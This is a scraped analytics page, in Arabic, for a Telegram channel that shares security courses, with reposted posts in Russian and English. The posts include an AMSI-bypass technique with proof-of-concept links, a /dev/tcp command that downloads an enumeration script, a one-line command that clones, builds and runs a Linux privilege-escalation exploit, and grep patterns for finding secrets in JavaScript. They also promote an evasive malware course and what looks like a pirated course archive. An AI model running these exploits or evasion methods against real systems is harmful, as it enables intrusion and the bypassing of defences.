All Security Engineering Courses
الذهاب إلى القناة على Telegram
This channel is being updated often with older than 2020 courses, ebooks, videos, code, etc. to be used responsibly by everyone in CyberSecurity in an ethical manner. Lots of content is being downloaded from other channels or forwarded here. Bookmark me!
إظهار المزيد📈 نظرة تحليلية على قناة تيليجرام All Security Engineering Courses
تُعد قناة All Security Engineering Courses (@allsecurityengineeringcourses) في القطاع اللغوي الإنكليزية لاعباً نشطاً. يضم المجتمع حالياً 19 201 مشتركاً، محتلاً المرتبة 6 659 في فئة التكنولوجيات والتطبيقات والمرتبة 34 121 في منطقة روسيا.
📊 مؤشرات الجمهور والحراك
منذ تأسيسه في невідомо، حقق المشروع نمواً سريعاً وجمع 19 201 مشتركاً.
بحسب آخر البيانات بتاريخ 15 سبتمبر, 2026، تحافظ القناة على نشاط مستقر. خلال آخر 30 يوماً تغيّر عدد الأعضاء بمقدار 106، وفي آخر 24 ساعة بمقدار 9، مع بقاء الوصول العام مرتفعاً.
- حالة التحقق: غير موثّقة
- معدل التفاعل (ER): يبلغ متوسط تفاعل الجمهور 16.25%. وخلال أول 24 ساعة من النشر يحصد المحتوى عادةً N/A% من ردود الفعل نسبةً إلى إجمالي المشتركين.
- وصول المنشورات: يحصل كل منشور على متوسط 0 مشاهدة. وخلال اليوم الأول يجمع عادةً 0 مشاهدة.
- التفاعلات والاستجابة: يتفاعل الجمهور بانتظام؛ متوسط التفاعلات لكل منشور يبلغ 0.
- الاهتمامات الموضوعية: يركز المحتوى على مواضيع رئيسية مثل git, strace, github, linux, docker.
📝 الوصف وسياسة المحتوى
يصف المؤلف القناة بأنها مساحة للتعبير عن الآراء الذاتية:
“This channel is being updated often with older than 2020 courses, ebooks, videos, code, etc. to be used responsibly by everyone in CyberSecurity in an ethical manner. Lots of content is being downloaded from other channels or forwarded here. Bookmar...”
بفضل وتيرة التحديث المرتفعة (أحدث البيانات بتاريخ 16 سبتمبر, 2026) تحافظ القناة على حداثتها ومستوى وصول مرتفع. وتُظهر التحليلات تفاعلاً نشطاً من الجمهور، ما يجعلها نقطة تأثير مهمة ضمن فئة التكنولوجيات والتطبيقات.
19 201
المشتركون
+924 ساعات
+317 أيام
+10630 أيام
أرشيف المشاركات
Repost from N/a
🛡 AMSI Bypass via Page Guard
Patchless-техника обхода AMSI — без перезаписи байтов AmsiScanBuffer и без hardware breakpoints в базовом варианте.
Суть: через
NtProtectVirtualMemory на страницу памяти, содержащую AmsiScanBuffer, ставится PAGE_GUARD. При доступе к этой странице возникает STATUS_GUARD_PAGE_VIOLATION, который перехватывается через VEH.
Если исключение пришло именно на AmsiScanBuffer, хэндлер подменяет результат на AMSI_RESULT_CLEAN и делает early return, эмулируя завершение функции без патча её байтов.
Так как guard-page — одноразовая ловушка, после первого срабатывания защита снимается. Поэтому в обработчике дополнительно используется Trap Flag: затем ловится STATUS_SINGLE_STEP, и PAGE_GUARD навешивается повторно.
Итог: байты функции остаются нетронутыми, а Dr0–Dr3 в этом варианте не используются, поэтому исчезают артефакты, характерные для inline patching и классических HWBP-обходов. Но это не означает «недетектируемость» вообще — современные поведенческие детекты всё ещё возможны.
В улучшенном варианте (VEH²) hardware breakpoint выставляется прямо через CONTEXT.Dr* внутри самого VEH, без вызова SetThreadContext / NtSetContextThread. Это убирает один из заметных telemetry-path, на который отдельно обращают внимание исследователи.
📖 Research
🔗 shigshag.com/blog/amsi_page_guard
🔗 crowdstrike.com/blog/crowdstrike-investigates-threat-of-patchless-amsi-bypass-attacks/
💻 PoC
🔗 github.com/vxCrypt0r/AMSI_VEH
🔗 fluxsec.red/veh-squared-rust
#amsi #evasion #redteam #windows #maldev
Most beginners quit Terraform before building their first real infrastructure.
Not because Terraform is hard - the learning path is just scattered.
So I turned it into a simple 10-day visual roadmap.
Learn Terraform step by step:
Day 1–2 → Fundamentals and workflow
Day 3–4 → Variables, outputs, and state
Day 5–6 → Resources, dependencies, and modules
Day 7–8 → Expressions, lifecycle, and environments
Day 9–10 → Best practices, security, and a real mini project
The goal is simple: learn Terraform by building.
If you’re starting from zero, this roadmap is for you 🚀
https://medium.com/@thetechfusionist/terraform-in-10-days-from-beginner-to-building-real-infrastructure-4ee1da613188
Repost from N/a
😐 Несколько примеров в дополнение к статье по анализу js бандлов
• Извлечение JavaScript файлов из вложенных директорий
find /path/to/your/folders -name "*.js" -exec mv {} /path/to/target/folder/ \;
cat * | grep -rE "apikey|api_key|secret|token|password|auth|key|pass|user"
cat * | grep -rE "eval|document\.write|innerHTML|setTimeout|setInterval|Function"
cat * | grep -rE "location\.href|location\.replace|location\.assign|window\.open"
cat * | grep -rE "XMLHttpRequest|fetch|Access-Control-Allow-Origin|withCredentials" /path/to/js/files
cat * | grep -r "postMessage"
cat * | grep -rE "https?://|www\."
cat * | grep -rE "console\.log|debugger|alert|console\.dir"
cat * | grep -rE "document\.getElementById|document\.getElementsByClassName|document\.querySelector|document\.forms"Repost from N/a
😐 Несколько примеров в дополнение к статье по анализу js бандлов
• Извлечение JavaScript файлов из вложенных директорий
find /path/to/your/folders -name "*.js" -exec mv {} /path/to/target/folder/ \;
cat * | grep -rE "apikey|api_key|secret|token|password|auth|key|pass|user"
cat * | grep -rE "eval|document\.write|innerHTML|setTimeout|setInterval|Function"
cat * | grep -rE "location\.href|location\.replace|location\.assign|window\.open"
cat * | grep -rE "XMLHttpRequest|fetch|Access-Control-Allow-Origin|withCredentials" /path/to/js/files
cat * | grep -r "postMessage"
cat * | grep -rE "https?://|www\."
cat * | grep -rE "console\.log|debugger|alert|console\.dir"
cat * | grep -rE "document\.getElementById|document\.getElementsByClassName|document\.querySelector|document\.forms"Repost from 1N73LL1G3NC3
MiniPlasma (Windows unpatched LPE)
CVE-2020-17103 was apparently not patched or the patch was reversed, regardless this the PoC for an LPE in cldflt.sys, weaponized to spawn a SYSTEM shell. Success rate may vary since it's a race condition.
Repost from N/a
В модуле File Transfers подметил один из интересных способов передачи файлов на linux, через /dev/tcp если вдруг вы сильно ограничены в инструментарии. Версия bash от 2.04 и выше.
Connect to the Target Webserver
exec 3<>/dev/tcp/10.10.10.32/80echo -e "GET /LinEnum.sh HTTP/1.1\n\n">&3cat <&3Repost from CyberSecurityTechnologies
#Analytics
#Threat_Research
"Global Report by Kaspersky Security Services: Anatomy of a Cyber World", 2026.
// Effectively prioritize your investment in cybersecurity through understanding your adversaries and the attack methods targeting your industry and region
Repost from N/a
Dirty Frag: Universal Linux LPE
One-line specialgit clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./expRepost from OffSec Exam Resources 👨💻
🟢 eLearnSecurity Mobile Application Penetration
Testing (eMAPT) Notes ANDROID by Joas
Repost from Библиотека Cobalt Strike
15-stage Windows malware development & analysis course in Rust. Red team builds it, blue team detects it. All 15 binaries achieved 0/76 on VirusTotal.
https://github.com/F2u0a0d3/goodboy-framework
#cours #books
OffSec - AI-300 Advanced AI Red Teaming @WickHelps.zip186.96 MB
OffSec - AI-300: Advanced AI Red Teaming🔥🆕
👨💻 Password : @WickHelps
👍 Exam Guide : link
❗️ Backup all channels link
👨💻 Proof of work Link
🚀 Any-Issues: Chat Here
AWS Certified Advanced Networking Official Study Guide Specialty Exam
AWS Certified SysOps Administrator Official Study Guide Associate Exam_Technet24
